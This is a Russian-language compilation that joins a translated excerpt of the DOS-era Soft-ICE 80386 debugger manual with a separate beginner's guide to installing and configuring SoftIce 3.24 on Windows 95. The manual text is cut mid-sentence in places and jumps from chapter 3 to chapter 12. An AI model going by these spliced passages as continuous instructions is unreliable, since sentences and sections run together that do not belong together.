использует особенности защищенного режима 80386, типа страничной организации
памяти, уровня привилегий ввода/вывода и регистров отладки, для установки
аппаратных точек останова из вашего существующего отладчика DOS.
Soft-ICE был разработан для достижения трех целей:
1. Использовать возможности виртуальной машины 80386 для тех способов
отладки, которые являются невозможными или недопустимо медленными
для отладчиков, использующих только программные средства
(например, аппаратные точки останова в режиме реального времени,
защита памяти, борьба с программами, вызывающими зависание системы
и т.д.).
2. Работать с существующими отладчиками. Мы хотели предоставить инстру-
мент, который работал бы с существующими инструментами. Мы разработали
Soft-ICE таким образом, чтобы вам не нужно было изучать новый отладчик
для получения мощных возможностей для отладки программ на аппаратном
уровне.
3. Быть программой, дружественной к пользователю, с окном,
которое всплывает немедленно и не мешает работать. Все
команды Soft-ICE были разработаны, чтобы помещаться в
небольшом окне так, чтобы была видна информация за
экраном Soft-ICE. Динамическая система
интерактивной помощи помогает пользователям,
редко использующим Soft-ICE.
Предоставляемые возможности программы Soft-ICE:
* Точки останова на чтение/запись в ОЗУ в режиме реального времени,
на чтение/запись в порты и области памяти и на прерывания
* История выполнения команд для обратной трассировки
* Символьная отладка и отладка на уровне исходных текстов
* Окружение, работающее с существующими отладчиками
* Полная поддержка EMM 4.0
* Возможность наращивания основной памяти свыше 640КБ для систем с
монохромными адаптерами
* Окно, всплывающее в любое время
* Способность всплытия по нажатию клавиши даже при отключенных прерыва-
ниях
* Код отладчика, изолированный при помощи защищенного режима 80386. Это
предотвращает изменение или разрушение Soft-ICE выполняющейся
программой; даже если DOS будет разрушена, Soft-ICE все еще будет
работать
* Способность настроить Soft-ICE не использовать память ниже границы
640КБ, если в системе есть больше чем 640КБ
* Дружественная динамическая помощь
* Возможность использования в качестве автономного отладчика.
Эта возможность полезна при отладке загружаемых драйверов устройств,
обработчиков прерываний, последовательностей команд, которые
традиционные отладчики не могут пройти; если ваш отладчик испытывает
трудности при повторных вхождениях в код (re-entrancy)
* Способность мягкой перезагрузки, позволяющая отлаживать
другие операционные системы или самозагружающиеся
программы
* Простая установка без необходимости настройки DIP-переключателей для
предотвращения захвата портов и никаких конфликтов с адресным
пространством ОЗУ
Внимание:
Soft-ICE будет работать только с программами реального режима адресации.
Он не будет работать с программами, которые используют инструкции
защищенного режима 80286 или 80386.
1.2 Использование этого Руководства
Руководство по Soft-ICE разделено на четыре основные части:
Изучение Soft-ICE (Часть I)
Команды (Часть II)
Поддерживаемые Возможности (Часть lII)
Дополнительные Темы (Часть IV)
Soft-ICE можно использовать в большинстве отладочных задач после прочтения
Части I,"Изучение Soft-ICE" и небольшого экспериментирования. Дружествен-
ная интерактивная система помощи пользователям Soft-ICE может использоваться
для получения описания и синтаксиса команд.
Часть "Изучение Soft-ICE" содержит инструкции по установке, описание интер-
фейса пользователя и обучающую часть. Обучающая часть предназначена для того,
чтобы вы быстро смогли освоиться и начать работу.
Часть "Команды" описывает все команды Soft-ICE. Описания команд
упорядочены по функциональным группам с буквенным индексом
для ссылок.
Часть " Поддерживаемые Возможности" охватывает расширенные опции загрузки,
символьную отладку и отладку на уровне исходных текстов, возможности EMM 4.0.
Часть "Дополнительные Темы" охватывает темы типа использования Soft-ICE с
загружаемыми драйверами ДОС и использования Soft-ICE с другими ОС (non-DOS).
Во всем руководстве, особенно в обучающей части и части с описанием
команд, даны примеры, требующие ввода данных в Soft-ICE. Когда в
руководстве указано
"Нажмите" клавишу, вы должны нажать указанную клавишу. Когда в руководстве
указано "Введите" команду типа WIN, вы должны набрать на клавиатуре указан-
ные буквы, после чего нажать ВВОД.
1.3 Системные требования
Soft-ICE работает с IBM Серии II модели 70 и 80, Compaq 80386 и компьютерами
80386SX, с совместимыми с AT и 80386 картами сопроцессора. Soft-ICE
будет работать с сопроцессорами 80386 XT только, если они совместимы с AT.
Soft-ICE лучше всего работает при наличии расширенной памяти, но так же
прекрасно работает на системах только с основной памятью.
Soft-ICE не использует DOS или ROM BIOS для видео вывода и клавиатурного
ввода. Поэтому видеоадаптер должен быть совместим с одним из следующих:
MDA, Hercules, CGA, EGA или VGA. Soft-ICE также поддерживает двухмониторную
конфигурацию, которая очень полезна при отладке программ, интенсивно работа-
ющих с видеоадаптером.
ГЛАВА 2
2.1 Дискеты
Soft-ICE поставляется на дискетах 5 1/4 или 3 1/2 дюйма.
При запуске Soft-ICE, как мера против компьютерных пиратов,
на экран выводится имя лица, обладающего лицензией на использование
вашей копии Soft-ICE. Для вашего удобства дискета с Soft-ICE физически
не защищена от копирования. Для нашего удобства, мы надеемся на ваше
серьезное отношение к нашему лицензионному соглашению. Важно сделать
резервную копию дискеты на случай повреждения оригинала.
В директории дискеты Soft-ICE должны находиться следующие файлы:
S-ICE.EXE
S-ICE.DAT
LDR.EXE
MSYM.EXE
EMMSETUP.EXE
UPTIME.EXE
README.SI
SAMPLE.EXE
SAMPLE.ASM
SAMPLE.SYM
S-ICE.EXE - программа Soft-ICE.
S-ICE.DAT - файл инициализации Soft-ICE.
LDR.EXE - загрузчик программ и символьных файлов, входящий в пакет Soft-ICE.
MSYM.EXE - программа создания символьных файлов, входящая в пакет Soft-ICE.
EMMSETUP.EXE - программа, позволяющая вам определить способ использования
вашей системой отображаемой памяти.
UPTIME.EXE устанавливает время в соответствии с часами реального времени.
README.SI - текстовый файл, содержащий информацию о Soft-ICE, которая не
входит в это руководство.
SAMPLE.EXE - короткая демонстрационная программа, которая используется в
обучающей части.
SAMPLE.ASM - файл с исходным текстом демонстрационной программы на
Ассемблере
SAMPLE.SYM - символьный файл для демонстрационной программы.
2.2 Загрузка Soft-ICE
Перед запуском Soft-ICE, скопируйте все файлы с дистрибутивной дискеты на
ваш жесткий диск.
Эти файлы должны быть помещены в каталог, доступный через ваш дополнительный
список путей (path list).
S-ICE.EXE может быть загружен как драйвер устройства в CONFIG.SYS или запущен
как программа из командной строки. Чтобы использовать большинство возможностей
Soft-ICE, S-ICE.EXE должен быть загружен как драйвер устройства в CONFIG.SYS.
Внимание:
Если у вас нет расширенной памяти, Soft-ICE НЕ может быть загружен как драйвер
устройства. Вместо этого он должен быть запущен из командной строки DOS.
2.2.1 Загрузка Без Расширенной Памяти
Когда нет расширенной памяти, Soft-ICE загружается в максимально высокие
адреса памяти. В таком случае память, используемая Soft-ICE, исключается из
карты памяти, что делает его невидимым для программ DOS. Так как после
загрузки Soft-ICE уменьшается память, видимая программами DOS, рекомендуется
загружать Soft-ICE до всех TSR или контролирующих программ.
Если у вас нет расширенной памяти, просто введите:
S-ICE
2.2.2 Загрузка С Расширенной Памятью
Загрузка Soft-ICE с расширенной памятью может выполняться одним из двух путей:
1. Установить S-ICE.EXE как драйвер в CONFIG.SYS,
Этот метод необходим, если вы будете использовать какую-то
из следующих возможностей:
* Разделение памяти с программами, которые используют
расширенную память, используя вызовы ROM BIOS
(VDISK.SYS, RAMDRIVE.SYS,
HIMEM.SYS, кэш-программы и т.д..).
* Использование возможностей Soft-ICE - EMM 4.0
* Использование Soft-ICE для символьной отладки или отладки на уровне
исходного текста.
* Использование обратной трассировки.
* Использование Soft-ICE с другими продуктами Nu-Mega,
такими как MagicCV,
Загруженный как драйвер, Soft-ICE выделяет
часть расширенной памяти для себя и связанных
с ним компонент, так что не возникает никаких
конфликтов в памяти. S-ICE.EXE должен быть загружен
в CONFIG.SYS перед всеми другими драйверами, которые
выделяют расширенную память при загрузке (например
VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает
лучше всего, если он является первым загружаемым
драйвером, установленным в CONFIG.SYS.
Для начинающих пользователей Soft-ICE рекомендуется
загружать Soft-ICE как первый драйвер в CONFIG.SYS
в следующем виде:
device = диск:\путь\S-ICE.EXE /SYM 50
Диск и путь определяют директорию, в которой
находится S-ICE.EXE. Эта строка загрузит Soft-ICE
при инициализации системы и этого будет достаточно
для обучающей части. Однако, Soft-ICE не будет установлен
для использования некоторых более мощных возможностей,
типа EMM 4.0. Вы можете реконфигурировать
Soft-ICE и включить эти возможности после того,
как вы немного поэкспериментировали. Если у вас уже есть
опыт работы с Soft-ICE или вы хотите немедленно
установить Soft-ICE с этими возможностями, пожалуйста
прочтите главу 6 (Опции Инициализации Soft-ICE).
Предостережение:
При первой на вашей системе установке любого нового драйвера устройства,
желательно иметь системную дискету. Это - предупредительная мера для тех не-
желательных случаев, когда параметры, принимаемые драйвером по умолчанию, не
совместимы с вашей системой.
Если вы точно не знаете, как отредактировать ваш файл CONFIG.SYS,
обратитесь к руководству пользователя вашей системы или руководству
вашего текстового редактора. После того, как вы изменили ваш CONFIG.SYS
вы должны перезагрузить вашу систему, чтобы внесенные изменения вступили
в силу.
2. Запустите, Soft-ICE из командной строки DOS, набрав
S-ICE. Прежде, чем фактически загрузиться, Soft-ICE выдаст
сообщение о загрузке и командную строку. Для предотвращения
вывода этой командной строки, поместите слово EXTENDED в файл
S-ICE.DAT. См. часть 6.4 для получения более подробной информации
о файле S-ICE.DAT. При использовании этого
метода, S-ICE.EXE автоматически загружается в
верхнюю точку расширенной памяти, если там еще
нет никакой другой программы. Если вы знаете, что у вас
нет других программ, использующих расширенную
память, этот метод - приемлем. Загруженный
этим методом, Soft-ICE занимает НОЛЬ байт
основной памяти. Команда, которую вы используете:
S-ICE
Примечания:
Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из
командной строки. Если вы будете использовать Soft-ICE как автономный
отладчик, рекомендуется загрузить Soft-ICE из CONFIG.SYS.
Если вы хотите загрузить Soft-ICE как драйвер устройства, но не хотите, чтобы
Soft-ICE был резидентным все время, вы должны использовать переключатель /UN.
Обратитесь к части 6.3.1 для получения большей информации.
2.2.3 Конфигурирование Soft-ICE для Запуска с Установками Пользователя
Вы можете настраивать Soft-ICE при помощи переключателей Soft-ICE в CONFIG.SYS
и при помощи файла инициализации Soft-ICE S-ICE.DAT. Переключатели в
CONFIG.SYS позволяют указать метод резервирования расширенной памяти,
используемый Soft-ICE'ом. Файл инициализации S-ICE.DAT позволяет вам указать
опции конфигурации, указать команды, выполняемые по нажатию функциональных
клавиш, и определить строку автостарта.
Строка автостарта используется, для
выполнения ряда команд, которые вы всегда используете при установке Soft-ICE.
Для более полной информация о настройке Soft-ICE, обратитесь к главе 6.
2.3 Выгрузка Soft-ICE
Когда-нибудь вам может понадобиться выгрузить Soft-ICE. Типичная причина для
выгрузки Soft-ICE - необходимость запуска программы, использующей инструкции
защищенного режима 80286 или 80386. Чтобы выгрузить Soft-ICE, введите:
S-ICE /U
Эта команда возвращает машину в реальный режим адресации. Если Soft-ICE
был первоначально загружен из CONFIG.SYS, память остается зарезервированной
для Soft-ICE и не может использоваться другими программами. Если Soft-ICE
первоначально загружен из командной строки, выгрузка освобождает память,
используемую S-ICE.EXE.
Предостережение:
Если в вашей системе есть наращенная память или если в настоящее время
используется расширенная память, выгрузка Soft-ICE может вызвать зависание ОС.
2.4 Повторная Загрузка Soft-ICE
Soft-ICE может быть повторно загружен в любое время, даже если он был перво-
начально загружен из CONFIG.SYS. Если Soft-ICE был загружен из CONFIG.SYS,
то первоначальная конфигурация (EMM 4.0, символы и исходный текст ...)
остается в силе. Чтобы повторно загрузить Soft-ICE, введите:
S-ICE
ГЛАВА 3
3.1 Введение
Все взаимодействие с Soft-ICE происходит в окне, которое может быть
вызвано в любое время. Все команды Soft-ICE помещаются в маленьком окне, но
окно может быть увеличено до полного экрана. Обычно вы будете использовать
маленькое окно при использовании Soft-ICE в дополнение к другому отладчику и
большое окно при использовании Soft-ICE в автономном режиме.
Окно сразу выводится во весь экран, если вы используете
чтобы найти точку входа в прерывание или стратегию.
Установка точки останова на вход в стратегию или прерывание
даст вам контроль над драйвером устройства. Далее трассируйте
или устанавливайте точки останова для продолжения отладки.
Отладка кода инициализации драйвера устройства
требует сброса системы командой BOOT.
Используйте вышеописанную методику для установки
точки останова в коде драйвера. Команда
BOOT будет сохранять Soft-ICE и точки останова.
2. Второй метод требует размещения специального кода в
вашем драйвере. Сделайте это при помощи команды
I3HERE ON (см. раздел 5.4). Поместите опкод INT 3
(CCH) в ваш драйвер устройства в точке, где
необходим контроль.
Когда выполняется INT 3,
управление переходит к Soft-ICE. Затем вы можете использовать
команду R IP для установки указателя команд для переходов
до и после опкода INT 3.
Если вы хотите отлаживать вашу последовательность инициализации,
удостоверьтесь, что Soft-ICE загружается в CONFIG.SYS до драйвера, который вы
пытаетесь отлаживать. Поместите команду I3HERE ON
в строку установок в S-ICE.DAT. При этом методе вам не нужно использовать
команду BOOT.
Если вы отлаживаете ваш драйвер устройства с символами или по исходному тексту,
вы должны загрузить файл символов и исходные файлы отдельно от драйвера
устройства. Файл символов и исходные файлы загружаются загрузчиком программ
Soft-ICE LDR.EXE. Когда LDR.EXE используется, чтобы загружать только символы и
исходный текст, вы должны использовать его в форме:
LDR название-файла.SYM
Должно быть указано расширение файла символов. См. часть 7.4 для больших
подробностей относительно LDR.EXE.
После загрузки файла символов и исходных файлов при помощи LDR.EXE вы должны
войти в Soft-ICE и переместить символы относительно начала вашего драйвера
устройства. Символы перемещаются командой Soft-ICE SYMLOC. Синтаксис команды
SYMLOC:
SYMLOC сегмент
Значение сегмента получается из команды MAP. См. описание команды SYMLOC для
больших подробностей.
12.2 Программы Начальной Загрузки
Отладка программ начальной загрузки или самозагружающихся программ требует
использования Soft-ICE как автономного отладчика. Вы должны сначала загрузить
DOS и запустить Soft-ICE. Самый простой метод отладки программ начальной
загрузки - установка точки останова на известный адрес в загрузчике и затем
использование команды BOOT для сброса системы. Soft-ICE сохраняется во время
всего процесса начальной загрузки с установленными точками останова. Если
тяжело найти известный адрес, то можно установить точку останова на
выполнение в 7C0:0H перед использованием
команды BOOT. Это - адрес, по которому ROM BIOS загружает сектор начальной
загрузки в память.
Другой метод требует включения режима I3HERE (см. часть 5.4). Поместите опкод
INT 3 (CCH) в вашу программу в точке, где необходим контроль.
Когда выполняется INT 3, управление приходит к Soft-ICE.
Вы также можете использовать как символьную, так и отладку по исходному тексту
при отладке программы начальной загрузки. См. команду SYMLOC для большей
информации о том, как переместить ваши символы и исходный текст в сегмент, в
который загружена ваша программа начальной загрузки.
12.3 Обработчики Прерываний
Soft-ICE позволяет устанавливать точки останова и пошагово выполнять
подпрограммы обслуживания аппаратных прерываний (таймер, клавиатура и т.д.).
Пошаговое выполнение и установка точек останова в программах обработки
прерывания поддерживается Soft-ICE. Вы даже можете трассировать обработчик
прерывания клавиатуры, когда Soft-ICE использует клавиатуру для ввода.
В большинстве случаев при отладке программ обработки прерываний, Soft-ICE
должен использоваться как автономный отладчик. Чтобы установить точку останова
на адрес обработчика прерывания, используйте один из следующих методов:
1. Используйте команду вывода двойного слова:
DD номер-прерывания * 4 L 1
Выведенный адрес - адрес первой
команды обработчика прерывания. Установите
точку останова на выполнения на этот адрес.
2. Используйте команду:
BPINT номер-прерывания
12.4 Операционные Системы, Отличные от DOS (non-DOS)
При помощи Soft-ICE могут отлаживаться операционные системы режима реальной
адресации, отличные от DOS. Если операционная система слабо совместима с DOS,
вы должны загрузить Soft-ICE под DOS, а затем использовать команду BOOT, чтобы
запустить другую операционную систему. Следуйте инструкциям для отладки
блоков начальной загрузки и самозагружающихся программ из раздела 12.2.
Команды MAP и WARN могут неправильно функционировать под другими
операционными системами, но точки останова и другие отладочные команды будут
работать правильно.
При отладке с символами или исходным текстом вы должны загрузить символьные
и исходные файлы под DOS или в DOS-совместимом режиме вашей
операционной системы.
ГЛАВА 13
13.1 Активизация Других Отладчиков
Soft-ICE работает с большинством других отладчиков, пользуясь преимуществами
отладочного прерывания семейства 8086 (INT 3). Большинство отладчиков
используют однобайтовую команду INT 3 (CCH) для выполнения точек останова.
Целевая команда заменяется на INT 3. Когда выполнение достигает целевого
адреса, управление передается обработчику INT 3 отладчика. Затем отладчик
заменяет (CCH) на первый байт первоначальной команды.
Когда выполняются точки останова Soft-ICE, в зависимости от команды ACTION,
может произойти одно из нескольких событий. Обычно при использовании Soft-ICE
с другим отладчиком, ACTION устанавливается на INT3. Когда выполняется условие
останова, Soft-ICE передает управление главному отладчику при помощи эмуляции
INT 3.
Некоторые отладчики могут работать неправильно при эмуляции INT 3. Для этих
отладчиков обеспечены две другие опции ACTION. Это - INT1 и NMI.
INT 1 - пошаговое прерывание семейства 8086. Большинство отладчиков будут
обрабатывать незапрашиваемый INT 1 как точку останова. NMI поддерживается
большинством отладчиков как средство выхода из зависания. Эти отладчики были
разработаны для аппаратных переключателей выхода, которые производили
немаскируемое прерывание. Когда ACTION установлено на NMI, Soft-ICE эмулирует
немаскируемое прерывание (Interrupt2). CODEVIEW работает лучше всего с ACTION,
установленным на NMI.
13.2 Основы Виртуальных Машин
Магия Soft-ICE стала возможной из-за возможностей виртуальной машины
процессора 80386. Soft-ICE выполняется в защищенном режиме 80386 и
управляет окружением DOS. Схема защиты 80386 дает Soft-ICE полный
контроль над окружением DOS, в то же время защищая его от "капризных"
программ.
Как генерируются точки останова Soft-ICE?
Soft-ICE использует три разных возможности 80386 для создания точек останова:
* Точки останова на ячейку памяти используют регистры
останова 80386
* Точки останова на диапазоны памяти используют механизм
страничной организации 80386
* Точки останова на команды ввода/вывода используют уровень
привилегий ввода/вывода и битовую маску ввода/вывода
Как выполняется команда BREAK?
Команда BREAK позволяет использовать клавиатуру для вызова Soft-ICE, даже
когда прерывания отключены и система зависла. Soft-ICE виртуализирует
механизм прерываний, так что для Soft-ICE прерывания никогда не отключаются,
даже когда они отключены для программы DOS, выполняющейся в виртуальной
машине.
В режиме BREAK виртуализируются следующие команды, чтобы удостовериться что
флаг прерывания никогда не сбрасывается:
PUSHF
POPF
STI
CLI
INT n
IRET
Специальные соображения о виртуальном режиме 8086
Soft-ICE выполняет DOS в виртуальной машине 8086. Эта возможность - главная
особенность микропроцессора 80386. При выполнении программ реального режима
(DOS и т.д.) в виртуальной машине, программой, контролирующей виртуальную
машину, должны эмулироваться некоторые особенности 8086. В нашем случае
виртуальную машину контролирует Soft-ICE. Soft-ICE поддерживает следующие
особенности:
* Функции прерывания ROM BIOS 15H : 87H, 88H
и 89H
* Недокументированная команда loadall
* Управление Адресной Линией 20H
* Команды защищенного режима 80286 и 80386
* Ошибки 80386
Функции прерывания ROM BIOS 15H : 87H, 88H
и 89H
Функция BIOS 87H позволяет программе обращаться к
памяти выше одного мегабайта на архитектуре IBM AT
или Personal Series II через механизм перемещения блоков.
Функция 88H возвращает размер расширенной памяти.
Эти функции используются драйвером устройства VDISK.
Soft-ICE эмулирует эти вызовы BIOS для совместимости
с VDISK. Функция 89H обычно используется для перехода в
защищенный режим, но Soft-ICE не может позволить
этому случиться. Вместо этого возвращает установленный флаг переноса.
Неописанная команда loadall
80286 содержит неописанную команду, называемую
loadall. Эта команда первоначально помещалась на
чип в диагностических целях и в основном не
используется программным обеспечением. Однако, она
используется некоторыми версиями RAMDRIVE фирмы
Microsoft, который продается с Microsoft Windows и
MS-DOS 3.2. Soft-ICE эмулирует loadall, чтобы обеспечить
работу RAMDRIVE, однако, невозможно произвести полную
эмуляцию этой команды.
Управление Адресной Линией 20H
IBM AT предоставляла специальную особенность, позволяющую некоторым старым
программам, которые первоначально были написаны для CP/M функционировать на
процессоре 80286. Эта возможность давала обращениям к памяти, возвращающимся
в нулевую область на 8086 при выходе за границу мегабайта, работать на 80286.
Некоторые программы отключают эту "совместимость", чтобы обращаться к памяти
выше одного мегабайта в режиме реальной адресации. Soft-ICE эмулирует эту
способность. Она обеспечивается на всех машинах 80386 AT через контроллер
клавиатуры и через порт ввода/вывода 92H на PS/2.
Команды защищенного режима 80286 и 80386
Некоторые специфические программы AT использовали команды защищенного режима
80286. С появлением 80386 некоторые программы 80386 используют команды
защищенного режима 80386. Эти программы не будут работать с Soft-ICE.
Soft-ICE обеспечивает стандартные расширения режима реальной адресации,
которые фирма Intel включила в процессоры 80186 и 80286 (PUSHALL, POPALL и
т.д.), но не команды защищенного режима типа LGDT, LMSW и т.д.
Ошибки 80386
Есть несколько ошибок в работе чипа 80386. Большинство этих ошибок относятся
только к программному обеспечению защищенного режима (типа Soft-ICE).
Softice
Оглавление
1. Введение.
2. Что такое SoftIce?
3. Инсталляция.
4. Первые шаги.
5. Эпилог.
Введение
Цель данной статьи - ответы на вопросы, которые задают новички:
Что такое SoftIce, и для чего он нужен?
Я поставил SoftIce, что мне делать дальше?
Где взять русскую документацию?
Почему у меня ничего не работает?
Все эти вопросы возникают по одной простой причине: вся документация, которую можно найти в Internet'e, написана на английском языке, автору известна только одна статья на русском языке, и та, к сожалению, очень не полная. Чтобы заполнить этот информационный вакуум, и было написано это эссе. Сколько человек, столкнувшись с этими проблемами, "снесли" SoftIce и забыли о нем как о страшном сне, подсчитать трудно, а жаль - ведь это лучший отладчик на сегодняшний день.
Сразу хочется сделать несколько замечаний: первое, если вы после прочтения этой статьи все-таки возьметесь за SoftIce, то вам придется заняться английским языком, хотите вы этого или нет (почему - см.выше); второе, данная статья не претендует на роль документации, она была составлена как обзор той информации, которая была у автора на английском языке, а это фирменное руководство от фирмы NuMega - автора SoftIce-a, статьи и эссе, найденные в Интернете на различных сайтах, посвященных SoftIce и Reverse Engineering. По этой причине в статье возможны ошибки и неточности, автор будет благодарен за их исправление. В статье описывается последняя версия SoftIce 3.24 для WIN95, но большая часть сказанного относится и к предыдущим версиям. Предполагается, что читающие эту статью имеют минимальные знания об устройстве процессора и компьютера и представляют, что такое ассемблер. Что такое SoftIce?
SoftIce состоит из отладчика уровня ядра (kernel mode debugger) (собственно, это и есть отладчик) и утилиты загрузчик отладочной информации (Symbol Loader). SoftIce – это универсальный отладчик, которым можно отладить любой код, включая подпрограммы прерывания и драйверы ввода-вывода.
Утилита Symbol Loader загружает отладочную информацию для вашего модуля, позволяет настроить SoftIce, и дает возможность записать историю комманд (history buffer) в файл.
SoftIce совмещает в себе мощь аппаратного отладчика и удобство символьного, он имеет следующие возможности:
Символьная отладка 32-битных приложений, отладка драйверов устройств для WIN NT, драйверов для WIN95, VxD, 16-битных программ для DOS и Windows.
Отладка фактически любого кода, включая подпрограммы прерывания и внутренние подпрограммы WIN 95 и WIN NT.
Установка точек останова на операции чтения/записи в память, чтения/записи портов ввода-вывода, прерываний.
Установка точек останова на сообщения Windows.
Установка точек останова, срабатывающих при определенных условиях (условных точек останова), и действий, которые должны произойти при срабатывании точки останова.
И многое другое ...
Symbol Loader позволяет прочитать отладочную информацию из отлаживаемых программ (EXE, DLL, VxD, 386, OCX) и загрузить ее в отладчик, запустить ваше приложение и автоматически установить точку останова на точку входа в программу, записать в файл протокола отладки.
Инсталляция
Аппаратные требования (от NuMega):
Процессор:486 или Pentium.
ОЗУ:необходимо 16 Мб (хотя в свое время работал и на 8), желательно 32 Мб.
Мышка:обычная или PS (интересно, а кто в виндах без нее работает?).
Видеокарта:начиная с версии 3.2, в SoftIce входит универсальный дисплейный адаптер, который должен работать с любой видеокартой, также есть драйвера и для большого числа видеокарт.
SoftIce поддерживает работу с:
одной видеокартой (стандартный вариант)
с двумя видеокартами (вторая видеокарта должна быть MDA (Monochrome Display Adapter) или Hercules-совместимая)
с двумя обычными видеокартами при условии, что они будут работать вместе
удаленную отладку (со вторым компьютером, который соединяется с первым посредством COM-порта (remote debugging));
На диске занимает 5,8 Мб.
При инсталляции, как обычно, введите директорию, куда вы хотите поставить SoftIce, выберите компоненты, которые хотите поставить, после чего попадете в окно выбора видеоадаптера.
SoftIce сам определяет видеокарту, если она соответствует вашей - нажмите кнопку Test, экран должен переключится в текстовый режим и вы увидите фразы “SoftIce is totally awesome!” на всем экране, а в середине отсчет цифр от 5 до 1. Если вы это увидели, то значит настройка видеоадаптера прошла успешно - жмите кнопку Next, если же у вас сбилась развертка, пропало изображение или повисла машина, то значит у SoftIce проблемы с видеокартой, для их решения существуют два пути: первый, включить универсальный видеоадаптер – должно помогать всегда (на моем Matrox Mistique проходит только этот вариант), тогда SoftIce будет работать в окне: второй, подобрать из числа представленных видеоадаптеров аналог вашему (у меня с S3 TRIO 64 вис (правда SoftIce был 3.01), а с DS 2000 работал на-ура); вам решать какой вариант лучше.
После выбора адаптера выберите тип мыши, которой вы пользуетесь (хотя мышь можно и не ставить, без нее тяжело работать в SoftIce). Далее разрешите модифицировать свой autoexec.bat для того, чтобы SoftIce загружался при старте компьютера. Подтвердите выбранную конфигурацию и следите за тем, как SoftIce ставится на вашу машину. На предложение перезагрузить компьютер, согласитесь. После перезагрузки нажмите клавиши Ctrl-D. Если вместо рабочего стола вы увидите какие-то непонятные буквы и цифры, то считайте, что установку SoftIce на машину вы закончили, и наступает этап настройки. Если же ничего не случилось, или машина повисла при загрузке, то проверьте все ли вы правильно сделали. Если SoftIce не загрузился, проверьте, прописана ли в autoexec.bat строка запуска, она всегда последняя и выглядит приблизительно так: C:\WINDEBUG\SICE324\WINICE.EXE, если нет - пропишите ее с вашим путем. Если машина повисла, то причина, скорее всего в неверной конфигурации видеоадаптера. Попробуете изменить ее.
Кстати, все настройки, которые вы проводили при инсталляции можно изменить: Пуск – Программы – NuMega SoftIce.
Настройка:
Откройте на редактирование файл winice.dat, который находится в той же директории что и SoftIce (в случае NT - в каталоге %SystemPath%\system32\drivers), и уберите точку с запятой со следующих строк:
; ***** Examples of export symbols that can be included for Windows 95 ***** ;Change the path to the appropriate drive and directory EXP=c:\windows\system\kernel32.dll - убрать; EXP=c:\windows\system\user32.dll - убрать; EXP=c:\windows\system\gdi32.dll - убрать;
Проверьте путь к файлам kernel32,user32,gdi32, он должен соответствовать вашему (Актуально в случае, если windows ставилась в каталог отличный от C:\WINDOWS).
Эта операция нужна для того, чтобы при отладке программы при вызове системных функций вы увидели имя вызываемой функции, а не какой-то call [xxxxxxxx].
Пример:
Call [USER32!GetWindow], вместо CALL [BFC01480].
На мой взгляд первое выглядит значительно информативней.
Исправьте строку INIT в соответствии с одним из примеров:
INIT="WR;WD;WL;X;" – если вы используете видеодрайвер для "родной" видеокарты (полноэкранный режим).
INIT="SET FONT 3;SET ORIGIN -10 25;WR;WD 4;WL;WC 12;X;" – если вы используете универсальный видеодрайвер (оконный режим).
INIT="SET FONT 1; SET ORIGIN 30 30;LINES 60;WIDTH 90;WR;WD 4;WL;WC 12;X;" – вариант, работающий на моей машине и выводящий на экран максимум информации (оконный режим), возможно для вашей машины потребуется изменить значение некоторых параметров.
Если вы хотите передвинуть окно с SoftIce, то используйте клавиши Ctrl-Alt-(одна из клавиш управления курсором).
Более подробно команды и переменные SoftIce будут рассмотрены ниже, тогда вы сможете настроить SoftIce на свой вкус.
Первые шаги
Если вы все еще читаете этот опус, то для вас настал долгожданный момент истины :-), пора посмотреть как это все работает в деле. В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).
Пример без проблем собрался в VC4 (не забудьте включить отладочную информацию), в BC 5.02 пример тоже собрался, но отладочную информацию Symbol Loader не увидел, хотя в TD она грузится. Тот, кому лень собирать проект самому, может скачать его отсюда: Gdidemo.zip
(или отсюда), архив занимает 0.1 Мб.
1. Загрузка отлаживаемой программы.
Запускаем Symbol Loader, выбираем опцию Open module в меню File, идем туда, где у вас лежит Gdidemo.exe, и открываем его, далее в меню Module нажимаем на опцию Load. SL оттранслирует отладочную информацию в .NMS файл, загрузит исходные файлы, запустит отлаживаемую программу (в данном случае Gdidemo) и всплывет в SoftIce, где вы увидите исходный текст программы.
Подсвеченная строка с номером 35 – это точка входа (entry point) в вашу программу. Если SL вывел сообщение типа "An error occured during symbol translation/load", значит в отлаживаемом файле отсутствует отладочная информация, жмите OK и наслаждайтесь [диз]ассемблером.
2. Управление SoftIce'ом.
Если Вы все правильно сделали, то вы должны увидеть SoftIce разбитый на несколько окон. Верхнее окно – Register Window (окно регистров) – показывает состояние рабочих регистров процессора. Под ним находится окно данных Data Window, в нем вы можете посмотреть или отредактировать дамп памяти. Ниже находится Code Window (окно кода) – в нем находится исходный текст программы (если вы загрузили отладочную информацию), или дизассемблированный код программы. В самом низу находиться окно команд - Command Window, в нем вы можете вводить команду и видеть результат их выполнения. Самая нижняя строчка – строка помощи, в ней при вводе подсвечиваются возможные варианты команд и их синтаксис. Удобнее всего управлять SoftIce с помощью мышки, но можно и без нее, хотя и не так удобно.
2.1 Управление с помощью мышки:
Вы можете: изменять размер окон и закрывать их (нельзя изменить размер окна регистров и FPU); скроллировать окна как на одну строку, так и на целый экран; изменять значение регистров, флагов, ячеек памяти, устанавливать точки останова на исполнение, удалять из Watch Window переменные, которые больше не нужны. Правая кнопка мыши вызывает контекстное меню, в котором вы можете выбрать одну из представленных команд; работают команды с буфером обмена Windows.
Изменение размера окна - подведите курсор к нижней границе того окна, которому хотите изменить размер или закрыть его, нажмите левую кнопку мыши и ведите ее вниз (увеличение размера) или вниз (уменьшение размера), если хотите закрыть окно, подведите нижнюю границу к верхней, в окне появится фраза Close current window и окно исчезнет.
Скроллинг на одну строку – подведите курсор к маленьким стрелочкам, расположенным у границ того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен двум строчкам).
Скроллинг на экран – подведите курсор к большим стрелочкам расположенным внутри того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен четырем строчкам).
Изменение значений регистров – подведите курсор к тому регистру, значение которого хотите изменить, нажмите левую кнопку мыши и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте.
Изменение значений флагов – подведите курсор к тому флагу, который хотите изменить, нажмите левую кнопку мыши, после чего клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая установлен).
Изменение значений ячеек памяти – подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить, нажмите левую кнопку мыши и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте.
